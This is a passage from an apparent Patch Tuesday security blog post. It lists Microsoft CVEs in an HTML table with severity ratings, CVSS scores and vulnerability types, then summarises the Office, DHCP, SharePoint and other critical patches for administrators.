  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long 